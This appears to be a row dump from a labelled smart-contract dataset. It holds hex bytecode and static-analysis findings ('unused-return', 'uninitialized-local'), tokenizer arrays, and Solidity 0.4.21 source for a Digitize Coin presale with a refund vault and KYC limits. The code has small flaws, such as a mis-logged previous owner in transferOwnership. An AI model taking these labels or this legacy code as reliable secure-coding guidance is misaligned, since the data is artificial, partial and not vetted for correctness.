37360d01b6064820152608401610a41565b6121df81612760565b6001600160a01b03821615612afb576001600160a01b03821660009081526007602052604081208054909190612af690613aa4565b909155505b6001600160a01b0381161561227d576001600160a01b03811660009081526007602052604081208054909190612b309061381b565b909155505050565b6000612b8d826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612d3b9092919063ffffffff16565b805190915015610bfd5780806020019051810190612bab9190613abb565b610bfd5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610a41565b612c148383612d4a565b612c216000848484612c3d565b610bfd5760405162461bcd60e51b8152600401610a4190613a3e565b60006001600160a01b0384163b15612d3057604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612c81903390899088908890600401613ad8565b6020604051808303816000875af1925050508015612cbc575060408051601f3d908101601f19168201909252612cb991810190613b15565b60015b612d16573d808015612cea576040519150601f19603f3d011682016040523d82523d6000602084013e612cef565b606091505b508051612d0e5760405162461bcd60e51b8152600401610a4190613a3e565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506123c7565b506001949350505050565b60606123c78484600085612d86565b60405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b606082471015612de75760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610a41565b843b612e355760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610a41565b600080866001600160a01b03168587604051612e519190613b32565b60006040518083038185875af1925050503d8060008114612e8e576040519150601f19603f3d011682016040523d82523d6000602084013e612e93565b606091505b5091509150612ea3828286612eae565b979650505050505050565b60608315612ebd57508161123e565b825115612ecd5782518084602001fd5b8160405162461bcd60e51b8152600401610a41919061303e565b828054612ef390613661565b90600052602060002090601f016020900481019282612f155760008555612f5b565b82601f10612f2e5782800160ff19823516178555612f5b565b82800160010185558215612f5b579182015b82811115612f5b578235825591602001919060010190612f40565b506112f3929150612f85565b60405180604001604052806002906020820280368337509192915050565b5b808211156112f35760008155600101612f86565b6001600160a01b03929092168252602082015260400190565b6001600160e01b0319811681146121df57600080fd5b600060208284031215612fdb57600080fd5b813561123e81612fb3565b60005b83811015613001578181015183820152602001612fe9565b83811115611ea55750506000910152565b6000815180845261302a816020860160208601612fe6565b601f01601f19169290920160200192915050565b60208152600061123e6020830184613012565b6001600160a01b03811681146121df57600080fd5b60006020828403121561307857600080fd5b813561123e81613051565b60006020828403121561309557600080fd5b5035919050565b6001600160a01b0391909116815260200190565b600080604083850312156130c357600080fd5b82356130ce81613051565b946020939093013593505050565b6000602082840312156130ee57600080fd5b81356002811061123e57600080fd5b60008083601f84011261310f57600080fd5b5081356001600160401b0381111561312657600080fd5b60208301915083602082850101111561313e57600080fd5b9250929050565b6000806000806000806060878903121561315e57600080fd5b86356001600160401b038082111561317557600080fd5b6131818a838b016130fd565b9098509650602089013591508082111561319a57600080fd5b6131a68a838b016130fd565b909650945060408901359150808211156131bf57600080fd5b506131cc89828a016130fd565b979a9699509497509295939492505050565b6000806000606084860312156131f357600080fd5b83356131fe81613051565b9250602084013561320e81613051565b929592945050506040919091013590565b6000806040838503121561323257600080fd5b823561323d81613051565b9150602083013561324d81613051565b809150509250929050565b6020808252825182820181905260009190848201906040850190845b8181101561329057835183529284019291840191600101613274565b50909695505050505050565b80151581146121df57600080fd5b600080604083850312156132bd57600080fd5b82356132c881613051565b9150602083013561324d8161329c565b60008083601f8401126132ea57600080fd5b5081356001600160401b0381111561330157600080fd5b6020830191508360208260051b850101111561313e57600080fd5b60008060006040848603121561333157600080fd5b833561333c81613051565b925060208401356001600160401b0381111561335757600080fd5b613363868287016132d8565b9497909650939450505050565b634e487b7160e01b600052602160045260246000fd5b6001600160a01b038416815261ffff8316602082015260608101600283106133b0576133b0613370565b826040830152949350505050565b6000602082840312156133d057600080fd5b81356004811061123e57600080fd5b60208101600483106133f3576133f3613370565b91905290565b6000806000806000806060878903121561341257600080fd5b86356001600160401b038082111561342957600080fd5b6134358a838b016132d8565b9098509650602089013591508082111561344e57600080fd5b61345a8a838b016132d8565b9096509450604089013591508082111561347357600080fd5b506131cc89828a016132d8565b806040810183101561097857600080fd5b6000604082840312156134a357600080fd5b61123e8383613480565b600080600080600080608087890312156134c657600080fd5b86356134d181613051565b955060208701356134e181613051565b945060408701356001600160401b03808211156134fd57600080fd5b6135098a838b016132d8565b909650945060608901359150808211156131bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6000806000806080858703121561354e57600080fd5b843561355981613051565b9350602085013561356981613051565b92506040850135915060608501356001600160401b038082111561358c57600080fd5b818701915087601f8301126135a057600080fd5b8135818111156135b2576135b2613522565b604051601f8201601f19908116603f011681019083821181831017156135da576135da613522565b816040528281528a60208487010111156135f357600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b600080600080600060c0868803121561362f57600080fd5b853594506020860135935060408601359250606086013591506136558760808801613480565b90509295509295909350565b600181811c9082168061367557607f821691505b6020821081141561201657634e487b7160e01b600052602260045260246000fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b6000821982111561373a5761373a613711565b500190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b60208082526010908201526f496e76616c69642064656c656761746560801b604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b600060001982141561382f5761382f613711565b5060010190565b60006020828403121561384857600080fd5b5051919050565b60208082526014908201527311dbdb19081cdd5c1c1b1e48195e18d95959195960621b604082015260600190565b60208082526016908201527514da5b1d995c881cdd5c1c1b1e48195e18d95959195960521b604082015260600190565b6000828210156138bf576138bf613711565b500390565b60008160001904831182151516156138de576138de613711565b500290565b8054600090600181811c90808316806138fd57607f831692505b602080841082141561391f57634e487b7160e01b600052602260045260246000fd5b818015613933576001811461394457613971565b60ff19861689528489019650613971565b60008881526020902060005b868110156139695781548b820152908501908301613950565b505084890196505b50505050505092915050565b6000613989828a6138e3565b8851613999818360208d01612fe6565b6139a58183018a6138e3565b91505086516139b8818360208b01612fe6565b6139c4818301886138e3565b91505084516139d7818360208901612fe6565b6139e3818301866138e3565b9b9a5050505050505050505050565b634e487b7160e01b600052601260045260246000fd5b600082613a1757613a176139f2565b500490565b600061ffff80831681811415613a3457613a34613711565b6001019392505050565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b600082613a9f57613a9f6139f2565b500690565b600081613ab357613ab3613711565b506000190190565b600060208284031215613acd57600080fd5b815161123e8161329c565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613b0b90830184613012565b9695505050505050565b600060208284031215613b2757600080fd5b815161123e81612fb3565b60008251613b44818460208701612fe6565b919091019291505056fea26469706673582212202a35c21af3eda9ce07a133831752c46eca2ca6acdfe28dd10cc32ff8350043f664736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2575,
2497,
2549,
2063,
2487,
2050,
20958,
19481,
2683,
22407,
22275,
2581,
22407,
2497,
22407,
23777,
19961,
2620,
25062,
2629,
2546,
17465,
2683,
6305,
2487,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1030,
3166,
1024,
1030,
6266,
1035,
2028,
1035,
1008,
1008,
1030,
2136,
1024,
3585,
2595,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,439 | 0x9527551ca444f6e5d9a0b281116586427366862a | pragma solidity 0.4.21;
// ----------------------------------------------------------------------------
// 'Digitize Coin Presale' contract: https://digitizecoin.com
//
// Digitize Coin - DTZ: 0x664e6db4044f23c95de63ec299aaa9b39c59328d
// SoftCap: 600 ether
// HardCap: 4000 ether - 26668000 tokens
// Tokens per 1 ether: 6667
// KYC: PICOPS https://picops.parity.io
//
// (c) Radek Ostrowski / http://startonchain.com - The MIT Licence.
// ----------------------------------------------------------------------------
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// RefundVault for 'Digitize Coin' project imported from:
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/crowdsale/distribution/utils/RefundVault.sol
//
// Radek Ostrowski / http://startonchain.com / https://digitizecoin.com
// ----------------------------------------------------------------------------
/**
* @title RefundVault
* @dev This contract is used for storing funds while a crowdsale
* is in progress. Supports refunding the money if crowdsale fails,
* and forwarding it to destination wallet if crowdsale is successful.
*/
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed _beneficiary, uint256 _weiAmount);
/**
* @param _wallet Final vault address
*/
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
/**
* @param _contributor Contributor address
*/
function deposit(address _contributor) onlyOwner public payable {
require(state == State.Active);
deposited[_contributor] = deposited[_contributor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
/**
* @param _contributor Contributor address
*/
function refund(address _contributor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[_contributor];
require(depositedValue > 0);
deposited[_contributor] = 0;
_contributor.transfer(depositedValue);
emit Refunded(_contributor, depositedValue);
}
}
/**
* @title CutdownToken
* @dev Some ERC20 interface methods used in this contract
*/
contract CutdownToken {
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
}
/**
* @title Parity PICOPS Whitelist
*/
contract PICOPSCertifier {
function certified(address) public constant returns (bool);
}
/**
* @title DigitizeCoinPresale
* @dev Desired amount of DigitizeCoin tokens for this sale must be allocated
* to this contract address prior to the sale start
*/
contract DigitizeCoinPresale is Ownable {
using SafeMath for uint256;
// token being sold
CutdownToken public token;
// KYC
PICOPSCertifier public picopsCertifier;
// refund vault used to hold funds while crowdsale is running
RefundVault public vault;
// start and end timestamps where contributions are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
uint256 public softCap;
bool public hardCapReached;
mapping(address => bool) public whitelist;
// how many token units a buyer gets per wei
uint256 public constant rate = 6667;
// amount of raised money in wei
uint256 public weiRaised;
// amount of total contribution for each address
mapping(address => uint256) public contributed;
// minimum amount of ether allowed, inclusive
uint256 public constant minContribution = 0.1 ether;
// maximum contribution without KYC, exclusive
uint256 public constant maxAnonymousContribution = 5 ether;
/**
* Custom events
*/
event TokenPurchase(address indexed _purchaser, uint256 _value, uint256 _tokens);
event PicopsCertifierUpdated(address indexed _oldCertifier, address indexed _newCertifier);
event AddedToWhitelist(address indexed _who);
event RemovedFromWhitelist(address indexed _who);
event WithdrawnERC20Tokens(address indexed _tokenContract, address indexed _owner, uint256 _balance);
event WithdrawnEther(address indexed _owner, uint256 _balance);
// constructor
function DigitizeCoinPresale(uint256 _startTime, uint256 _durationInDays,
uint256 _softCap, address _wallet, CutdownToken _token, address _picops) public {
bool validTimes = _startTime >= now && _durationInDays > 0;
bool validAddresses = _wallet != address(0) && _token != address(0) && _picops != address(0);
require(validTimes && validAddresses);
owner = msg.sender;
startTime = _startTime;
endTime = _startTime + (_durationInDays * 1 days);
softCap = _softCap;
token = _token;
vault = new RefundVault(_wallet);
picopsCertifier = PICOPSCertifier(_picops);
}
// fallback function used to buy tokens
function () external payable {
require(validPurchase());
address purchaser = msg.sender;
uint256 weiAmount = msg.value;
uint256 chargedWeiAmount = weiAmount;
uint256 tokensAmount = weiAmount.mul(rate);
uint256 tokensDue = tokensAmount;
uint256 tokensLeft = token.balanceOf(address(this));
// if sending more then available, allocate all tokens and refund the rest of ether
if(tokensAmount > tokensLeft) {
chargedWeiAmount = tokensLeft.div(rate);
tokensDue = tokensLeft;
hardCapReached = true;
} else if(tokensAmount == tokensLeft) {
hardCapReached = true;
}
weiRaised = weiRaised.add(chargedWeiAmount);
contributed[purchaser] = contributed[purchaser].add(chargedWeiAmount);
token.transfer(purchaser, tokensDue);
// refund if appropriate
if(chargedWeiAmount < weiAmount) {
purchaser.transfer(weiAmount - chargedWeiAmount);
}
emit TokenPurchase(purchaser, chargedWeiAmount, tokensDue);
// forward funds to vault
vault.deposit.value(chargedWeiAmount)(purchaser);
}
/**
* @dev Checks whether funding soft cap was reached.
* @return Whether funding soft cap was reached
*/
function softCapReached() public view returns (bool) {
return weiRaised >= softCap;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
return now > endTime || hardCapReached;
}
function hasStarted() public view returns (bool) {
return now >= startTime;
}
/**
* @dev Contributors can claim refunds here if crowdsale is unsuccessful
*/
function claimRefund() public {
require(hasEnded() && !softCapReached());
vault.refund(msg.sender);
}
/**
* @dev vault finalization task, called when owner calls finalize()
*/
function finalize() public onlyOwner {
require(hasEnded());
if (softCapReached()) {
vault.close();
} else {
vault.enableRefunds();
}
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = hasStarted() && !hasEnded();
bool validContribution = msg.value >= minContribution;
bool passKyc = picopsCertifier.certified(msg.sender);
//check if contributor can possibly go over anonymous contibution limit
bool anonymousAllowed = contributed[msg.sender].add(msg.value) < maxAnonymousContribution;
bool allowedKyc = passKyc || anonymousAllowed;
return withinPeriod && validContribution && allowedKyc;
}
// ability to set new certifier even after the sale started
function setPicopsCertifier(address _picopsCertifier) onlyOwner public {
require(_picopsCertifier != address(picopsCertifier));
emit PicopsCertifierUpdated(address(picopsCertifier), _picopsCertifier);
picopsCertifier = PICOPSCertifier(_picopsCertifier);
}
function passedKYC(address _wallet) view public returns (bool) {
return picopsCertifier.certified(_wallet);
}
// ability to add to whitelist even after the sale started
function addToWhitelist(address[] _wallets) public onlyOwner {
for (uint i = 0; i < _wallets.length; i++) {
whitelist[_wallets[i]] = true;
emit AddedToWhitelist(_wallets[i]);
}
}
// ability to remove from whitelist even after the sale started
function removeFromWhitelist(address[] _wallets) public onlyOwner {
for (uint i = 0; i < _wallets.length; i++) {
whitelist[_wallets[i]] = false;
emit RemovedFromWhitelist(_wallets[i]);
}
}
/**
* @dev Allows to transfer out the ether balance that was forced into this contract, e.g with `selfdestruct`
*/
function withdrawEther() onlyOwner public {
require(hasEnded());
uint256 totalBalance = address(this).balance;
require(totalBalance > 0);
owner.transfer(totalBalance);
emit WithdrawnEther(owner, totalBalance);
}
/**
* @dev Allows to transfer out the balance of arbitrary ERC20 tokens from the contract.
* @param _token The contract address of the ERC20 token.
*/
function withdrawERC20Tokens(CutdownToken _token) onlyOwner public {
require(hasEnded());
uint256 totalBalance = _token.balanceOf(address(this));
require(totalBalance > 0);
_token.transfer(owner, totalBalance);
emit WithdrawnERC20Tokens(address(_token), owner, totalBalance);
}
} | 0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632b9edee9146105d15780632c4e722e146105fe5780633197cbb6146106275780634042b66f1461065057806344691f7e14610679578063499ff236146106a65780634bb278f3146106cf5780634ff7ff32146106e4578063548db1741461071d5780635f111074146107775780637362377b146107cc57806378e97925146107e15780637f6497831461080a5780638da5cb5b14610864578063906a26e0146108b95780639762f802146108e2578063995c5e9d1461090f5780639b19251a1461095c578063aaffadf3146109ad578063b5545a3c146109d6578063ccd9aa68146109eb578063ecb70fb714610a3c578063f2fde38b14610a69578063f581f1ef14610aa2578063fbfa77cf14610adb578063fc0c546a14610b30575b600080600080600080610165610b85565b151561017057600080fd5b33955034945084935061018e611a0b86610d1290919063ffffffff16565b9250829150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561024f57600080fd5b5af1151561025c57600080fd5b505050604051805190509050808311156102aa57610285611a0b82610d5090919063ffffffff16565b93508091506001600760006101000a81548160ff0219169083151502179055506102cf565b808314156102ce576001600760006101000a81548160ff0219169083151502179055505b5b6102e484600954610d7a90919063ffffffff16565b60098190555061033c84600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d7a90919063ffffffff16565b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561044357600080fd5b5af1151561045057600080fd5b5050506040518051905050848410156104a6578573ffffffffffffffffffffffffffffffffffffffff166108fc8587039081150290604051600060405180830381858888f1935050505015156104a557600080fd5b5b8573ffffffffffffffffffffffffffffffffffffffff167fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f8584604051808381526020018281526020019250505060405180910390a2600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f340fa0185886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506000604051808303818588803b15156105b857600080fd5b5af115156105c557600080fd5b50505050505050505050005b34156105dc57600080fd5b6105e4610d9b565b604051808215151515815260200191505060405180910390f35b341561060957600080fd5b610611610daa565b6040518082815260200191505060405180910390f35b341561063257600080fd5b61063a610db0565b6040518082815260200191505060405180910390f35b341561065b57600080fd5b610663610db6565b6040518082815260200191505060405180910390f35b341561068457600080fd5b61068c610dbc565b604051808215151515815260200191505060405180910390f35b34156106b157600080fd5b6106b9610dc9565b6040518082815260200191505060405180910390f35b34156106da57600080fd5b6106e2610dd5565b005b34156106ef57600080fd5b61071b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f82565b005b341561072857600080fd5b610775600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611219565b005b341561078257600080fd5b61078a61135e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107d757600080fd5b6107df611384565b005b34156107ec57600080fd5b6107f46114ef565b6040518082815260200191505060405180910390f35b341561081557600080fd5b6108626004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506114f5565b005b341561086f57600080fd5b61087761163a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108c457600080fd5b6108cc61165f565b6040518082815260200191505060405180910390f35b34156108ed57600080fd5b6108f5611665565b604051808215151515815260200191505060405180910390f35b341561091a57600080fd5b610946600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611678565b6040518082815260200191505060405180910390f35b341561096757600080fd5b610993600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611690565b604051808215151515815260200191505060405180910390f35b34156109b857600080fd5b6109c06116b0565b6040518082815260200191505060405180910390f35b34156109e157600080fd5b6109e96116bc565b005b34156109f657600080fd5b610a22600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117ae565b604051808215151515815260200191505060405180910390f35b3415610a4757600080fd5b610a4f61188a565b604051808215151515815260200191505060405180910390f35b3415610a7457600080fd5b610aa0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118ad565b005b3415610aad57600080fd5b610ad9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a02565b005b3415610ae657600080fd5b610aee611b7a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b3b57600080fd5b610b43611ba0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600080600080610b96610dbc565b8015610ba75750610ba561188a565b155b945067016345785d8a00003410159350600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cc1d4c02336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610c7357600080fd5b5af11515610c8057600080fd5b505050604051805190509250674563918244f40000610ce734600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d7a90919063ffffffff16565b1091508280610cf35750815b9050848015610cff5750835b8015610d085750805b9550505050505090565b6000806000841415610d275760009150610d49565b8284029050828482811515610d3857fe5b04141515610d4557600080fd5b8091505b5092915050565b600080600083111515610d6257600080fd5b8284811515610d6d57fe5b0490508091505092915050565b6000808284019050838110151515610d9157600080fd5b8091505092915050565b60006006546009541015905090565b611a0b81565b60055481565b60095481565b6000600454421015905090565b674563918244f4000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e3057600080fd5b610e3861188a565b1515610e4357600080fd5b610e4b610d9b565b15610eea57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166343d726d66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1515610ed557600080fd5b5af11515610ee257600080fd5b505050610f80565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c52dc416040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1515610f6f57600080fd5b5af11515610f7c57600080fd5b5050505b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdf57600080fd5b610fe761188a565b1515610ff257600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561108c57600080fd5b5af1151561109957600080fd5b5050506040518051905090506000811115156110b457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561117757600080fd5b5af1151561118457600080fd5b50505060405180519050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f340399c867affe8af8b81c9c8909476fe09e7810cea1aa1bd70f9b0b465a09cb836040518082815260200191505060405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561127657600080fd5b600090505b815181101561135a57600060086000848481518110151561129857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550818181518110151561130157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fcdd2e9b91a56913d370075169cefa1602ba36be5301664f752192bb1709df75760405160405180910390a2808060010191505061127b565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113e157600080fd5b6113e961188a565b15156113f457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905060008111151561141d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561147e57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167e427c0f965e4f144086694ed3a411df394e3dfa51cf4e74d9a70375bab91bb0826040518082815260200191505060405180910390a250565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561155257600080fd5b600090505b815181101561163657600160086000848481518110151561157457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081818151811015156115dd57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167fa850ae9193f515cbae8d35e8925bd2be26627fc91bce650b8652ed254e9cab0360405160405180910390a28080600101915050611557565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b600760009054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b60086020528060005260406000206000915054906101000a900460ff1681565b67016345785d8a000081565b6116c461188a565b80156116d557506116d3610d9b565b155b15156116e057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fa89401a336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b151561179c57600080fd5b5af115156117a957600080fd5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cc1d4c02836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ff